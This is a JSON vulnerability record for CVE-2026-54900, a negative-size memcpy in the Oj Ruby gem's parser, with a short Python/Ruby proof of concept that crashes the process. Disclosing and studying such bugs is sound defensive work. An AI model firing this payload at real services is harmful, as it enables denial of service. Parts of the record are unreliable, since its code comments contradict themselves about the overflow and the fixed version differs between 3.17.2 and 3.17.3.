{"id":"CVE-2026-54900","aliases":["CVE-2026-54900","GHSA-9cv6-qcjw-4grx"],"related":[],"kind":"vulnerability","state":"published","title":"Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling","summary":"Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`Oj::Parser#parse` in usual mode with `create_id` enabled is vulnerable to heap corruption via a negative-size `memcpy`. When a JSON object key is exactly 65,535 bytes long, an integer truncation in `form_attr` (`usual.c:63`) converts the length to `-1` before passing it to `memcpy`. This causes `memcpy` to copy `SIZE_MAX` bytes (interpreted as a huge `size_t`), corrupting heap memory and crashing the process.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/usual.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/usual.c`, `form_attr`:\n\n```c\n// usual.c:55–64\nstatic ID form_attr(const char *str, size_t slen) {\n    char        buf[4096];\n    // ...\n    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0\n                                  //   or: 65535 cast to int = 65535 (fits),\n                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX\n    // ...\n    memcpy(buf, \"@\", 1);\n    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX\n}\n```\n\nThe cache (`cache_intern`) uses a fixed 65,536-byte slab. When `slen = 65535`, the arithmetic wraps and `memcpy` is called with `(size_t)-1`.\n\nASAN report:\n```\n==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)\n    #0 memcpy\n    #1 form_attr          /ext/oj/usual.c:63\n    #2 cache_intern       /ext/oj/cache.c:326\n    #3 get_attr_id        /ext/oj/usual.c:186\n    #4 close_object_create  /ext/oj/usual.c:374\n    #5 parse              /ext/oj/parser.c:693\n    #6 parser_parse       /ext/oj/parser.c:1408\n0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)\n```\n\n### Reproduce\n\nGenerate the payload:\n\n```python\nkey = 'A' * 65535\nwith open('poc.json', 'w') as f:\n    f.write('{\"json_class\":\"Oj::Bag\",\"' + key + '\":1}')\n```\n\nTrigger:\n\n```ruby\nrequire 'oj'\nOj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Oj (JSON Optimizado) es un analizador JSON y un serializador de objetos empaquetado como una gema de Ruby. En versiones anteriores a la 3.17.2, cuando está en modo usual con create_id habilitado, Oj::Parser#parse es vulnerable a la corrupción de la pila a través de un memcpy de tamaño negativo. Cuando una clave de objeto JSON tiene exactamente 65.535 bytes de longitud, un truncamiento de entero en form_attr (usual.c:63) convierte la longitud a -1 antes de pasarla a memcpy. Esto hace que memcpy copie SIZE_MAX bytes (interpretado como un size_t enorme), corrompiendo la memoria de la pila y bloqueando el proceso. El problema ha sido solucionado en la versión 3.17.2.","source":"nvd"}],"published":"2026-06-19T20:47:23.000Z","modified":"2026-10-25T17:10:00.197Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":6.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":6.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-190","CWE-416","CWE-787"],"affected":[{"ranges":[{"version":"< 3.17.2","status":"affected"}],"vendor":"ohler55","product":"oj","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.17.3"}],"ecosystem":"RubyGems","package":"oj","purl":"pkg:gem/oj","source":"ghsa"}],"references":[{"url":"https://github.com/ohler55/oj/security/advisories/GHSA-9cv6-qcjw-4grx","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ohler55/oj","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-07-01T15:47:11.451Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-54900","url":"https://www.cve.org/CVERecord?id=CVE-2026-54900","licence":"CVE Terms of Use","modified":"2026-07-01T15:48:35.112Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9cv6-qcjw-4grx","url":"https://github.com/advisories/GHSA-9cv6-qcjw-4grx","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:49.379Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-54900","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54900","licence":"Public domain","modified":"2026-10-25T17:10:00.197Z"}],"updatedAt":"2026-11-25T22:59:26.857Z","epss":{"score":0.00516,"percentile":0.45425,"date":"2026-12-01T12:00:22.000Z"}}